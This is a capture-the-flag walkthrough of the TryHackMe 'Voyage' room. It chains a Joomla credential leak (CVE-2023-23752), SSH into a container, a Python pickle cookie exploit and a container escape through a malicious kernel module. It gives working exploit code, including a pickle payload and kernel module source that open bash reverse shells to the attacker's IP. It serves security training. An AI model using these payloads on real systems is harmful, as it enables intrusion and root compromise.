Skip to content

TryHackMe - Voyage

Introduction


OS: Linux

URL: Voyage

Level: Medium

Voyage Poster


Voyage is a room on TryHackMe that challenges users to chain multiple vulnerabilities to gain control of a system. You start with a Joomla CMS vulnerability (CVE-2023-23752) to find credentials for the root user. After SSHing in, you discover that you’re inside a Docker container without any special privileges. From there, you need to scan the internal network to find another custom web application, compromise it using a Python Pickle deserialization vulnerability, and get a reverse shell. Finally, you escape the Docker container by abusing privileges granted to it by loading a malicious kernel module.

Recon

Run a full nmap port scan to find all open ports.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ sudo nmap --min-rate=10000 -vv $IP -p-

PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 60
80/tcp   open  http         syn-ack ttl 60
2222/tcp open  EtherNetIP-1 syn-ack ttl 59


┌──(kali㉿kali)-[~/THM/voyage]
└─$ sudo nmap --min-rate=10000 -vv $IP -p 22,80,2222 -sC -sV

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 60 OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 31:2b:74:8e:77:05:b6:31:4c:63:80:3a:0b:5f:d2:8a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAEcR7ecS26A5yfX3GF0B+BHuYytNTrUFvryc6yuTFmN1/YaCSlwOqexDt2j5NYL+4/Nn95JE/saOdqaOyHj98Y=
|   256 5b:00:53:c3:68:93:ad:32:d9:5e:a6:ba:90:66:74:fc (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMf9KaRfKjmuxZlxr4yixJcKyKU/4E/XiLYi7xD6RY16
80/tcp   open  http    syn-ack ttl 60 Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: Joomla! - Open Source Content Management
2222/tcp open  ssh     syn-ack ttl 59 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad:4a:7e:34:01:09:f8:68:d8:f7:dd:b8:57:d4:17:cf (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCz/n1suuz6HaHPVd2xTazVEYBisK33ojSezemJVDmXtdYoHNuHIe1iwdd4WyJbiZDhx0N9lwHqalo/c9jjoEuxCvrh/7I4PdjWm2+fGqJqREJSLwoIjBI6HutsCyQ+/gO08pTNg1Y85eopMIbREmxRyxOhG2RpQUSLvYi4pWR325y/ZpLTdKLvNQaRR863g5z0mHx8gUWHB+8nwAI0YjOgdTKnQV4vsI5K53AYKkYq44hN0P77SxOBRO+IASek2gGVmLAIWRhQF0MvU8K9cpNcV3Ge4oxtJzZzFFC0BV4O6BeD781r8YG1qj9/3LJDNaQpdRszUZ/Rm/6JL/DQDy/474uyflHaidHwNRhKnzEx9obinCl0HTryORtXFV98rH4P2O8YAadSzNU/N1l0ImiOC9jU7tzvpALGf8qtP0MkezdoFK//Chf8VW1TrMyfMZUK+6e2e8ZkhzryoAEMwEPhBEPunLOJUiPwtq7Wsdn3hjWsS1zER0VP1yJwyrU7eWs=
|   256 8d:cd:5e:60:35:c8:65:66:3a:c5:5c:2f:ac:62:93:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAm0NsbbMnOBFlJJH0sYuGVfu3ahM1H6o2hZqyo7bs3GcEQMi/vT030XG88DKWEvu1POpSbZOuM4ndVZlEsigMc=
|   256 a9:d5:16:b1:5d:4a:4c:94:3f:fd:a9:68:5f:24:ee:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgsnqsQDVsJFVPmfDtqciSH0aDYUjAGT3+N3zEp/GGH
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are three open ports: 22 (SSH), 80 (HTTP), and 2222 (SSH). The HTTP server is running Joomla CMS.

Using the -vv flag with nmap provides verbose output, along with the TTL values of the responses. SSH running on port 2222 has a lower TTL value (59) compared to the SSH on port 22 (60), indicating that it might be running on a VM/container.


Exploitation

Joomla RCE (CVE-2023-23752)

The Nmap scan identified the application running on port 80 as Joomla CMS. There are multiple ways to identify it ex: checking the technology stack using tools like wappalyzer or whatweb

Wappalyzer Joomla

Heading over to the administrator page listed in the robots.txt file, also helps you identify the application as Joomla.

Joomla Admin

Like wpscan for WordPress, joomscan is a tool to scan Joomla CMS for vulnerabilities. Running joomscan reveals the Joomla version is 4.2.7, which is vulnerable to CVE-2023-23752.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ joomscan -u http://10.201.36.152/

   ____  _____  _____  __  __  ___   ___    __    _  _
   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  (
  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
                        (1337.today)

    --=[OWASP JoomScan
    +---++---==[Version : 0.0.7
    +---++---==[Update Date : [2018/09/23]
    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
    --=[Code name : Self Challenge
    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP

Processing http://10.201.36.152/ ...

[+] FireWall Detector
[++] Firewall not detected

[+] Detecting Joomla Version
[++] Joomla 4.2.7

[+] Core Joomla Vulnerability
[++] Target Joomla core is not vulnerable
....

Joomla 4.0.0 through 4.2.7 is vulnerable to improper access check which allows unauthenticated users to access several sensitive webservice endpoints by appending ?public=true to the request query string.

You can find a detailed vulnerability analysis here.

But for our use case, we just need two endpoints:

  • /api/index.php/v1/users?public=true : This endpoint lists all users on the Joomla instance.
  • /api/index.php/v1/config/application?public=true : This endpoint reveals sensitive configuration details, including database credentials.
┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl 'http://10.201.36.152/api/index.php/v1/users?public=true' -s | jq .
{
  "links": {
    "self": "http://10.201.36.152/api/index.php/v1/users?public=true"
  },
  "data": [
    {
      "type": "users",
      "id": "377",
      "attributes": {
        "id": 377,
        "name": "root",
        "username": "root",
        "email": "[email protected]",
[...SNIP...]
}

┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl 'http://10.201.36.152/api/index.php/v1/config/application?public=true' -s | jq .
{
  "links": {
    "self": "http://10.201.36.152/api/index.php/v1/config/application?public=true",
    "next": "http://10.201.36.152/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20",
    "last": "http://10.201.36.152/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"
  },
  "data": [
[...SNIP...]
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "user": "root",
        "id": 224
      }
    },
    {
      "type": "application",
      "id": "224",
      "attributes": {
        "password": "**READACTED**@1234",
        "id": 224
      }
[...SNIP...]
}

The above credentials are for the database configured with Joomla. But they're not reused for the Joomla admin user.

Joomla Admin Login Failed

However, trying to log in as root to one of the SSH ports works.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 22
[email protected]: Permission denied (publickey).

┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 2222
[email protected]'s password:

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 6.8.0-1031-aws x86_64)

root@f5eb774507f2:~# whoami
root
root@f5eb774507f2:~# hostname
f5eb774507f2

root@f5eb774507f2:~# cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.100.10  f5eb774507f2

root@f5eb774507f2:~# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 Jun 25 18:01 /.dockerenv

The hostname, IP and the existence of the file /.dockerenv indicates that we're inside a Docker container. Scanning for any special privileges that would allow you to escape the container yields no results (More on this later).

Internal Network Recon

root@f5eb774507f2:~# cat .bash_history
ls
curl
nmap
socat
exit

root@f5eb774507f2:~# which nmap
/usr/bin/nmap

The .bash_history file lists some past commands. The nmap binary is of particular interest, as it can be used to scan the internal network for other containers/hosts.

It seems that Nmap binary is already present inside the container.

Tip

Even if Nmap wasn't present, we could have used a static version of nmap to run the same scans as shown here

root@f5eb774507f2:~# nmap 192.168.100.0/24 -p- --min-rate=10000 -sC -sV -n
Starting Nmap 7.80 ( https://nmap.org ) at 2025-08-30 10:52 UTC

Nmap scan report for 192.168.100.1
Host is up (0.0000050s latency).
Scanned at 2025-08-30 10:52:25 UTC for 100s
Not shown: 65531 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http       Apache httpd 2.4.58 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1B6942E22443109DAEA739524AB74123
|_http-generator: Joomla! - Open Source Content Management
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 16 disallowed entries
| /joomla/administrator/ /administrator/ /api/ /bin/
| /cache/ /cli/ /components/ /includes/ /installation/
|_/language/ /layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Home
2222/tcp open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
5000/tcp open  tcpwrapped
MAC Address: 02:42:FB:4B:2C:F1 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 192.168.100.12
Host is up (0.0000060s latency).
Scanned at 2025-08-30 10:52:25 UTC for 100s
Not shown: 65534 closed ports
PORT     STATE SERVICE VERSION
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.1.3 Python/3.10.12
|     Date: Sat, 30 Aug 2025 10:52:34 GMT
[...SNIP...]
MAC Address: 02:42:C0:A8:64:0C (Unknown)

Scanning 192.168.100.10 [65535 ports]
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 5000 on host 192.168.100.12 appears to be a new service not discovered during the initial nmap scan.

Port 5000 is running Werkzeug/3.1.3, which is the web server library used by Flask as its default server.

Using SSH, let's forward port 5000 to our local machine.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ ssh root@$IP -p 2222 -L 5000:192.168.100.12:5000 -N
[email protected]'s password:

┌──(kali㉿kali)-[~/THM/voyage]
└─$ ss -lntp | grep 5000
LISTEN 0      128             127.0.0.1:5000       0.0.0.0:*    users:(("ssh",pid=388335,fd=5))
LISTEN 0      128                 [::1]:5000          [::]:*    users:(("ssh",pid=388335,fd=4))

┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl -I localhost:5000
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.10.12
Date: Sat, 30 Aug 2025 11:10:34 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1942
Connection: close

After forwarding, a request to localhost:5000 returns a valid response indicating the service is reachable.

Python Pickle RCE

The web page shows a simple login page which accepts any username and password and redirects to a dashboard where the username is reflected back to the user.

Secret Panel Login

Secret Panel Dashboard

My first thought was to check for SSTI (Server Side Template Injection) since the username is reflected back to the user, but it wasn't vulnerable.

When logging in, the page seems to set a cookie that contains the username and the Revenue value in a serialized format.

Secret Panel Cookie

┌──(kali㉿kali)-[~/THM/voyage]
└─$ echo 8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383530303094752e | xxd -r -p | xxd
00000000: 8004 952a 0000 0000 0000 007d 9428 8c04  ...*.......}.(..
00000010: 7573 6572 948c 0974 6573 746c 6f67 696e  user...testlogin
00000020: 948c 0772 6576 656e 7565 948c 0538 3530  ...revenue...850
00000030: 3030 9475 2e                             00.u.

The cookie doesn't seem to be signed in any way. We can test this by modifying the cookie value with a string of the same length and seeing if the application still parses it correctly.

In this case, I'll modify the revenue field and change the revenue from 85000 to 88888, since this value is reflected on the webpage if the cookie is parsed correctly.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ echo 8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e | xxd -r -p | xxd
00000000: 8004 952a 0000 0000 0000 007d 9428 8c04  ...*.......}.(..
00000010: 7573 6572 948c 0974 6573 746c 6f67 696e  user...testlogin
00000020: 948c 0772 6576 656e 7565 948c 0538 3838  ...revenue...888
00000030: 3838 9475 2e                             88.u.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl localhost:5000 -b "session_data=8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e" -s | html2text
🔐 Secret Panel
    * Login (Under Dev)
**** 🏝️ Welcome testlogin ****
📊 Quarterly Revenue: $88888
Investor ID Name         Investment ($) Status
INV-007     John Matrix  2,500,000      Active
....

Since the web application is using Python (Werkzeug / Flask), it's most likely that the serialization is handled by the Python pickle module.

We can verify this by deserializing the cookie value using Python's pickle.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ python3
Python 3.13.5 (main, Jun 25 2025, 18:55:22) [GCC 14.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> import binascii
>>> session_data = "8004952a000000000000007d94288c0475736572948c09746573746c6f67696e948c07726576656e7565948c05383838383894752e"

>>> pickle.loads(binascii.unhexlify(session_data))
{'user': 'testlogin', 'revenue': '88888'}

The above confirms that the cookie is serialized using the Python pickle module and should be similar to the web application's code that handles the cookie.

Since the payload is not signed, we can use a well-known Python pickle deserialization RCE exploit to get a reverse shell.

gen_cookie.py
import pickle
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/10.17.16.161/445 0>&1"',))

# build pickle payload
payload = pickle.dumps(RCE())

print("[*] Malicious cookie value:")
# get the hex value
print(payload.hex())

Use the cookie value generated by the gen_cookie.py script to get a reverse shell.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ python gen_cookie.py
[*] Malicious cookie value:
8004954e000000000000008c05706f736978948c0673797374656d9493948c3362617368202d63202262617368202d69203e26202f6465762f7463702f31302e31372e31362e3136312f34343520303e26312294859452942e

┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...


┌──(kali㉿kali)-[~/THM/voyage]
└─$ curl localhost:5000 -b "session_data=8004954e000000000000008c05706f736978948c0673797374656d9493948c3362617368202d63202262617368202d69203e26202f6465762f7463702f31302e31372e31362e3136312f34343520303e26312294859452942e" -s

After triggering the exploit, we get a reverse shell from the finance app container as root and can read user.txt.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.36.152] 48746
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

root@d221f7bc7bf8:/finance-app# id
id
uid=0(root) gid=0(root) groups=0(root)

root@d221f7bc7bf8:/finance-app# cat /etc/hosts

127.0.0.1       localhost
...
192.168.100.12  d221f7bc7bf8

root@d221f7bc7bf8:~# cat /root/user.txt
THM{**REDACTED**}

We are now inside another container (.12) as the root user.

Container Escape

We can now run privilege escalation checks to see if there are any vulnerabilities that can be exploited to escape the container.

linpeas.sh, deepce.sh and cdk-team/cdk are some of the most used tools for container enumeration and escape.

  • with linpeas.sh

linpeas container capabilities

  • with deepce.sh
root@d221f7bc7bf8:~# bash deepce.sh

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __
     ____/ /__  ___  ____  ________
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

deepce container capabilities

  • with cdk
root@d221f7bc7bf8:~# curl 10.17.16.161/cdk_linux_amd64 -o cdk
curl 10.17.16.161/cdk_linux_amd64 -o cdk
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  9.9M  100  9.9M    0     0  2653k      0  0:00:03  0:00:03 --:--:-- 2653k

root@d221f7bc7bf8:~# chmod +x cdk

root@d221f7bc7bf8:~# ./cdk eva --full

CDK (Container DucK)
CDK Version(GitCommit): b4105424a2f329020c388e6e16a42e9bb31ef501
Zero-dependency cloudnative k8s/docker/serverless penetration toolkit by cdxy & neargle
Find tutorial, configuration and use-case in https://github.com/cdk-team/CDK/

[  Information Gathering - Commands and Capabilities  ]
2025/08/30 12:35:32 available commands:
        curl,find,ps,python3,apt,dpkg,capsh,mount,gcc,g++,make,base64,perl
2025/08/30 12:35:32 Capabilities hex of Caps(CapInh|CapPrm|CapEff|CapBnd|CapAmb):
        CapInh: 0000000000000000
        CapPrm: 00000000a80525fb
        CapEff: 00000000a80525fb
        CapBnd: 00000000a80525fb
        CapAmb: 0000000000000000
        Cap decode: 0x00000000a80525fb = CAP_CHOWN,CAP_DAC_OVERRIDE,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_NET_BIND_SERVICE,CAP_NET_RAW,CAP_SYS_MODULE,CAP_SYS_CHROOT,CAP_MKNOD,CAP_AUDIT_WRITE,CAP_SETFCAP
        Added capability list: CAP_SYS_MODULE
[*] Maybe you can exploit the Capabilities below:
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.

As all the tools indicate CAP_SYS_MODULE capability is enabled, we can use this to escape the container by loading a malicious kernel module and since docker container shares the kernel with the host, we can use this to get a root shell on the host itself.

Here is a hacktricks article that depicts this attack here

  • create a reverse-shell.c file
reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.17.16.161/445 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
  • create a Makefile
Makefile
obj-m +=reverse-shell.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
  • run make to compile the kernel module
root@d221f7bc7bf8:/tmp# make
make
make -C /lib/modules/6.8.0-1031-aws/build M=/tmp modules
make[1]: *** /lib/modules/6.8.0-1031-aws/build: No such file or directory.  Stop.
make: *** [Makefile:4: all] Error 2


root@d221f7bc7bf8:/tmp# uname -r
6.8.0-1031-aws

root@d221f7bc7bf8:/tmp# ls /lib/modules/
total 8
drwxr-xr-x 2 root root 4096 Jun 17 20:16 6.8.0-1029-aws
drwxr-xr-x 2 root root 4096 Jun 26 18:34 6.8.0-1030-aws

The first make attempt failed because /lib/modules/6.8.0-1031-aws/build did not exist. uname -r reported 6.8.0-1031-aws, but under /lib/modules/ only 6.8.0-1029-aws and 6.8.0-1030-aws directories were available. Normally, /lib/modules/<version>/build points to the kernel headers for the running kernel, and modules must be built against the exact version shown by uname -r.

Since the correct headers weren't present, we can try to instead build the module against the available 6.8.0-1030-aws headers and see if it works.

  • fix the Makefile to use the available headers
Makefile
obj-m +=reverse-shell.o

all:
        make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules

clean:
        make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean

with this now we can compile the kernel module and load it

┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...


root@d221f7bc7bf8:~/test# make

make -C /lib/modules/6.8.0-1030-aws/build M=/root/test modules
make[1]: Entering directory '/usr/src/linux-headers-6.8.0-1030-aws'
warning: the compiler differs from the one used to build the kernel
  The kernel was built by: x86_64-linux-gnu-gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  You are using:           gcc-12 (Ubuntu 12.3.0-1ubuntu1~22.04) 12.3.0
  CC [M]  /root/test/reverse-shell.o
  MODPOST /root/test/Module.symvers
  CC [M]  /root/test/reverse-shell.mod.o
  LD [M]  /root/test/reverse-shell.ko
  BTF [M] /root/test/reverse-shell.ko
Skipping BTF generation for /root/test/reverse-shell.ko due to unavailability of vmlinux
make[1]: Leaving directory '/usr/src/linux-headers-6.8.0-1030-aws'

root@d221f7bc7bf8:~/test# insmod reverse-shell.ko

We should now have a reverse shell as root from the host machine.

┌──(kali㉿kali)-[~/THM/voyage]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.36.152] 60072
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell

root@tryhackme-2404:/# id
uid=0(root) gid=0(root) groups=0(root)

root@tryhackme-2404:/# cat /root/root.txt
THM{**REDACTED**}